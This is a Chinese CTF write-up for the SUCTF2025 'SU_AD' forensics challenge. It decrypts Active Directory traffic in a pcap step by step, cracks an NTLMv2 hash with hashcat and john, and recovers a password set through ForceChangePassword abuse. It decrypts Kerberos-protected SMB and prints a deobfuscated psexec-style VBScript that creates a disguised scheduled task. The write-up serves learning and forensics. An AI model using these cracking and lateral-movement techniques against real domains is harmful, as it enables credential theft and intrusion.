SU_AD

一整个域渗透

思路：

观察流量发先存着 smb2 流量，现在先解密 NTLM 协议，就是要找到到用户名的密码，需要寻找一些字段信息并用 hashcat 进行爆破，组和格式如下，tshark 提取命令如下

username::domain:ServerChallenge:NTproofstring:modifiedntlmv2response

tshark -n -r SU_AD-new.pcapng -Y "ntlmssp.messagetype == 0x00000003" -T fields -e ntlmssp.auth.username -e ntlmssp.auth.domain -e ntlmssp.ntlmv2_response.ntproofstr -e ntlmssp.auth.sesskey -e smb2.sesid

tshark -n -r SU_AD-new.pcapng -Y "ntlmssp.messagetype == 0x00000002" -T fields -e ntlmssp.ntlmserverchallenge

# username domain ntproofstr sessionkey sessionid
>tshark -n -r SU_AD-new.pcapng -Y "ntlmssp.messagetype == 0x00000003" -T fields -e ntlmssp.auth.username -e ntlmssp.auth.domain -e ntlmssp.ntlmv2_response.ntproofstr -e ntlmssp.auth.sesskey -e smb2.sesid
sk      sk.com  0233f3f42302daa392aee9bb52a6887c        9a14eb9bf2d9c879ac0e7b9b94272425
sk      sk.com  3d83dd54cff0f77715b97e7ae985813f        751ec32df06a178823929ea7ff1744fc

# ntlmserverchallenge
>tshark -n -r SU_AD-new.pcapng -Y "ntlmssp.messagetype == 0x00000002" -T fields -e ntlmssp.ntlmserverchallenge
a780092344838bb2
b7325db726cdddbe

手工分析，先过滤 ntlmssp.auth.domain，发现 Domain name 和 User name

Domain name：sk.com
User name：sk

并且找到，NTproofstring 和 modifiedntlmv2response

NTproofstring：3d83dd54cff0f77715b97e7ae985813f
modifiedntlmv2response：3d83dd54cff0f77715b97e7ae985813f01010000000000002d2c49c4b762db014a8fd14f8291865d000000000200040053004b00010004004400430004000c0073006b002e0063006f006d0003001200440043002e0073006b002e0063006f006d0005000c0073006b002e0063006f006d00070008002d2c49c4b762db0106000400020000000800300030000000000000000100000000200000a6b014bf8a1f09368502041ded7fceb82c8ed41c09c2d199ee04b8421f0b0e9c0a001000000000000000000000000000000000000900160068006f00730074002f0073006b002e0063006f006d000000000000000000

然后就差 ServerChallenge ，继续找，过滤 ntlmssp.ntlmserverchallenge，可以发现

ServerChallenge：b7325db726cdddbe

然后拼接一下，这里要注意 modifiedntlmv2response 前面一部分就是 NTproofstring，要手动删除一下

sk::sk.com:b7325db726cdddbe:3d83dd54cff0f77715b97e7ae985813f:01010000000000002d2c49c4b762db014a8fd14f8291865d000000000200040053004b00010004004400430004000c0073006b002e0063006f006d0003001200440043002e0073006b002e0063006f006d0005000c0073006b002e0063006f006d00070008002d2c49c4b762db0106000400020000000800300030000000000000000100000000200000a6b014bf8a1f09368502041ded7fceb82c8ed41c09c2d199ee04b8421f0b0e9c0a001000000000000000000000000000000000000900160068006f00730074002f0073006b002e0063006f006d000000000000000000

然后使用 hashcat 进行爆破，将上面拼接好的放入 2.txt

.\hashcat.exe -m 5600 .\2.txt .\rockyou.txt -o out3.txt --force

SK::sk.com:b7325db726cdddbe:3d83dd54cff0f77715b97e7ae985813f:01010000000000002d2c49c4b762db014a8fd14f8291865d000000000200040053004b00010004004400430004000c0073006b002e0063006f006d0003001200440043002e0073006b002e0063006f006d0005000c0073006b002e0063006f006d00070008002d2c49c4b762db0106000400020000000800300030000000000000000100000000200000a6b014bf8a1f09368502041ded7fceb82c8ed41c09c2d199ee04b8421f0b0e9c0a001000000000000000000000000000000000000900160068006f00730074002f0073006b002e0063006f006d000000000000000000:Eminem01

得到密码，Eminem01

使用 john 破解

❯ cat test.hash
sk::sk.com:b7325db726cdddbe:3d83dd54cff0f77715b97e7ae985813f:01010000000000002d2c49c4b762db014a8fd14f8291865d000000000200040053004b00010004004400430004000c0073006b002e0063006f006d0003001200440043002e0073006b002e0063006f006d0005000c0073006b002e0063006f006d00070008002d2c49c4b762db0106000400020000000800300030000000000000000100000000200000a6b014bf8a1f09368502041ded7fceb82c8ed41c09c2d199ee04b8421f0b0e9c0a001000000000000000000000000000000000000900160068006f00730074002f0073006b002e0063006f006d000000000000000000
❯ john test.hash --wordlist=rockyou.txt
Use the "--format=ntlmv2-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
Eminem01         (sk)

然后将 Eminem01 作为 NTLMSSP 的 Password 就能解密包裹在 NMF 中的 GSS-API 这部分流量：

可以发现这里是在修改 Administrator 的密码（没看太懂）结合编码规则：[MS-ADTS]：unicodePwd |Microsoft 学习，可以提取出密码为 1202)78M5CcE=+!2

这里是 DACL 滥用，这是个强制改密的操作，参考
ForceChangePassword | The Hacker Recipes

可以发现下面都是 Kerberos 认证的流量，是通过 psexec 脚本产生的 smb 流量，并且是 Administrator 用户进行认证的，那么制作 Administrator 用户的 keytab 即可进行解密

工具：TheRealAdamBurford/Create-KeyTab：创建 KeyTab PowerShell 脚本

通过 Wireshark 解密 Kerberos 票据 - JICEY - 博客园

这里用户名大小写敏感，要注意下

然后将 keytab 文件导入 Wireshark 即可解密 DCERPC 流量

然后过滤一下，dcerpc ，发现 VBScript 文件，提取出来，

DIM DONaftmeCVwZjslWGWeGIomyhR, cXHliILPnAHELXJJqAtHxZuRaZ, ueXifQyILAhUJUoDERsswozhoK
SUb NroRYtGPyDKYxINsHYPjyHKNhz
DoNaFtMEcvwZjsLwgweGiomyhR = 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cXHlIILPNahelxjJqaTHXzURaZ = SpLiT(dONafTMecvWZJslWGWeGIoMYhr, Chr(eVal(-2651+2693)))
fOr eacH aUmsIMvQDdxmlmsUhLJhfqYVUx In CXhLiIlPnahELXJJqAThXzUrAZ
uExIFqyILAHuJuOdeRSSwoZHOK = uexiFqyilAHUjuODeRSSWozhok & chr(EvaL(AUmsiMvqDdxmlMSUhljhfqyvUX))
NExt
rPGNHwDFhoSzxrfSuJzaaOoVHq
EnD SUB
sub RpgNHWdfHOsZXrfSUjzaAoovhQ
EvAl(exECUTe(UeXIfqyilAHuJuodersSWOZHoK))
End SuB
NrORYtgPYDkYXINSHYpJyhknHZ

可以发现被混淆了，我们直接解混淆一下

# 假设初始化的字符串
DgtsBdJtEpjIlKMcvpKuMkflhSPGhjk = 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# 分割符号，先进行计算，再转换为字符
delimiter = chr(int(-2651+2693))  # 强制转换为整数

# 使用 Python 的 split 方法来模拟 VBScript 的 Split
tgCkvHzLfnluUjonbpHlONFeuZDEhZM = DgtsBdJtEpjIlKMcvpKuMkflhSPGhjk.split(delimiter)

PFdUCUBuebAkdpolqLKtaWRPdRgMinr = ""
# 遍历数组并拼接字符串
for ovAMSOWhTVsIBXdbZCDgELLDJUWTVRN in tgCkvHzLfnluUjonbpHlONFeuZDEhZM:
    PFdUCUBuebAkdpolqLKtaWRPdRgMinr = PFdUCUBuebAkdpolqLKtaWRPdRgMinr + chr(int(eval(ovAMSOWhTVsIBXdbZCDgELLDJUWTVRN)))

# 输出最终结果
print(PFdUCUBuebAkdpolqLKtaWRPdRgMinr)

得到

Dim command
command = Base64StringDecode("QzpcV2luZG93c1w3ei5leGUgeCAtcG9PQ0RMYmtaOU10dTY3QWx5aDh1QWFGSHk2S0RzQ2JHIC15IEM6XFdpbmRvd3

If FileExists("C:\Windows\Temp\windows-object-8e6e9f8c-20ff-4f7b-91a6-30ba2fa08e1a.log") Then
    inputFile = "C:\Windows\Temp\windows-object-8e6e9f8c-20ff-4f7b-91a6-30ba2fa08e1a.log"
    Set inStream = CreateObject("ADODB.Stream")
    inStream.Open
    inStream.type= 1 'TypeBinary
    inStream.LoadFromFile(inputFile)
    readBytes = inStream.Read()

    Set oXML = CreateObject("Msxml2.DOMDocument")
    Set oNode = oXML.CreateElement("base64")
    oNode.dataType = "bin.base64"
    oNode.nodeTypedValue = readBytes
    Base64Encode = oNode.text

    On Error Resume Next
    Set objTestNewInst = GetObject("Winmgmts:root\Cimv2:Win32_OSRecoveryConfigurationDataBackup.CreationClassName=""dbb7
    If Err.Number <> 0 Then
        Err.Clear
        wbemCimtypeString = 8
        Set objClass = GetObject("Winmgmts:root\cimv2:Win32_OSRecoveryConfigurationDataBackup")
        Set objInstance = objClass.spawninstance_
        objInstance.CreationClassName = "dbb76404-b72e-42fa-aa16-8a92bc066e11"
        objInstance.DebugOptions = Base64Encode
        objInstance.put_
    Else
    End If
Else
    Const TriggerTypeDaily = 1
    Const ActionTypeExec = 0
    Set service = CreateObject("Schedule.Service")
    Call service.Connect
    Dim rootFolder
    Set rootFolder = service.GetFolder("\")
    Dim taskDefinition
    Set taskDefinition = service.NewTask(0)
    Dim regInfo
    Set regInfo = taskDefinition.RegistrationInfo
    regInfo.Description = "Update"
    regInfo.Author = "Microsoft"
    Dim settings
    Set settings = taskDefinition.settings
    settings.Enabled = True
    settings.StartWhenAvailable = True
    settings.Hidden = False
    settings.DisallowStartIfOnBatteries = False
    Dim triggers
    Set triggers = taskDefinition.triggers
    Dim trigger
    Set trigger = triggers.Create(7)
    Dim Action
    Set Action = taskDefinition.Actions.Create(ActionTypeExec)
    Action.Path = "c:\windows\system32\cmd.exe"
    Action.arguments = "/Q /c " & command & " 1> C:\Windows\Temp\windows-object-8e6e9f8c-20ff-4f7b-91a6-30ba2fa08e1a.log
    Dim objNet, LoginUser
    Set objNet = CreateObject("WScript.Network")
    LoginUser = objNet.UserName
    If UCase(LoginUser) = "SYSTEM" Then
    Else
    LoginUser = Empty
    End If
    Call rootFolder.RegisterTaskDefinition("a2609d3c-2173-43a4-8e9a-1e9fa02eb00a", taskDefinition, 6, LoginUser, , 3)
    Call rootFolder.DeleteTask("a2609d3c-2173-43a4-8e9a-1e9fa02eb00a",0)
End If

Function FileExists(FilePath)
    Set fso = CreateObject("Scripting.FileSystemObject")
    If fso.FileExists(FilePath) Then
        FileExists=CBool(1)
    Else
        FileExists=CBool(0)
    End If
End Function
    End If
End Function
End Function


Function Base64StringDecode(ByVal vCode)
Function Base64StringDecode(ByVal vCode)
    Set oXML = CreateObject("Msxml2.DOMDocument")
    Set oXML = CreateObject("Msxml2.DOMDocument")
    Set oNode = oXML.CreateElement("base64")
    oNode.dataType = "bin.base64"
    oNode.text = vCode
    Set BinaryStream = CreateObject("ADODB.Stream")
    BinaryStream.Type = 1
    BinaryStream.Open
    BinaryStream.Write oNode.nodeTypedValue
    BinaryStream.Position = 0
    BinaryStream.Type = 2
    ' All Format =>  utf-16le - utf-8 - utf-16le
    BinaryStream.CharSet = "utf-8"
    Base64StringDecode = BinaryStream.ReadText
    Set BinaryStream = Nothing
    Set oNode = Nothing
End Function

command 进行base64 解码，可以发现 flag.zip 的密码

C:\Windows\7z.exe x -poOCDLbkZ9Mtu67Alyh8uAaFHy6KDsCbG -y C:\Windows\flag.zip

然后现在最后就是要解密 SMB2 流量拿到 flag.zip ，解密就能得到 flag

因为使用 Kerberos 认证的 SMB2，使用 Administrator 的 keytab 解密后可以在 TGS-REP 中拿到对应的 sessionKey，wireshark 并没有实现 kerbeeros 认证下的 smb 流量自动解密，需要手动添加解开

学习：Kerberos 认证过程详细分析（一） | MYZXCG

c475652caee0502bbf57d0583c8d02f7

结合对应 SMB2 流量的 Session Id 即可解密：SMB 解密 - TryHackMe ：： MWLab — Ladislav 的恶意软件实验室

Session Id：0x00002100001000140000

可以发现有很多 Session Id 和 kerberos sessionKey，而且他们是一一对应的，一个 kerberos sessionKey 解对应的 smb2，手动看太累了，还要对上，所以我们写个脚本来看

import os
import json
import re
from urllib.parse import unquote

'''
这里有个问题，外面必须是单引号，里面必须是双引号，不能换
'''
# 这是提取数据的命令，运行一次提取出来就可以注释了，不然后面调试可能有点慢
os.system('tshark -n -r SU_AD-new.pcapng -Y "tcp" -e kerberos.keyvalue -e smb2.sesid -T json > 2.json')

with open('2.json', 'r') as f:
    data = json.load(f)

smb2_sesid_list = []
kerberos_keyvalue_list = []

for num in data:
    layers = num.get('_source', {}).get('layers', {})
  
    # 检查 smb2.sesid 是否存在
    if 'smb2.sesid' in layers:
        sesid = layers['smb2.sesid']
        if len(sesid) > 0:
            smb2_sesid = sesid[0]
            # 去掉前缀 '0x'
            smb2_sesid = smb2_sesid[2:] if smb2_sesid.startswith('0x') else smb2_sesid
    
            # 将十六进制字符串分割成每两个字符一组
            byte_list = [smb2_sesid[i:i+2] for i in range(0, len(smb2_sesid), 2)]
    
            # 反转字节列表
            little_endian_byte_list = byte_list[::-1]
    
            # 将反转后的字节列表合并成一个新的十六进制字符串
            little_endian_hex_data = ''.join(little_endian_byte_list)
    
            smb2_sesid_list.append(little_endian_hex_data)
            print(f"Reversed smb2.sesid: {little_endian_hex_data}")
  
    # 检查 kerberos.keyvalue 是否存在
    if 'kerberos.keyvalue' in layers:
        keyvalue = layers['kerberos.keyvalue']
        if len(keyvalue) > 0:
            kerberos_keyvalue = keyvalue[0]
            kerberos_keyvalue_list.append(kerberos_keyvalue)
            print(f"kerberos.keyvalue: {kerberos_keyvalue}")

# 打印所有提取并反转的 smb2.sesid
print("All reversed smb2.sesid values:", smb2_sesid_list)

# 打印所有提取的 kerberos.keyvalue
print("All kerberos.keyvalue values:", kerberos_keyvalue_list)

就这样一一对应就行

Session Id	sessionKey
0500001000140000	c475652caee0502bbf57d0583c8d02f7
2100001000140000	057ca236576c77a46c3974840f1a407f
0d00001000140000	400ececb0dfa0b9e69debe0cd859b7b4
0900001000140000	2251c04efe1ea59d1d1871ef65ae1ce5
0100001000140000	9ea564454a9c0b1f68d152cb72e49baa

然后再填入 SMB2 流量的 sessionID 即可解密

然后过滤 smb2 就能发现，smb2 流量都被解密了，并且在导出 SMB 对象中也能导出文件

然后导出 flag.zip 密码就是上面找到的 oOCDLbkZ9Mtu67Alyh8uAaFHy6KDsCbG，就能得到 flag

flag：flag{Sk_l!kEs_aD_BuT_Ad_i5_7Oo_Hard_T_T}

‍

SUCTF2025-misc-SU_AD

SU_AD

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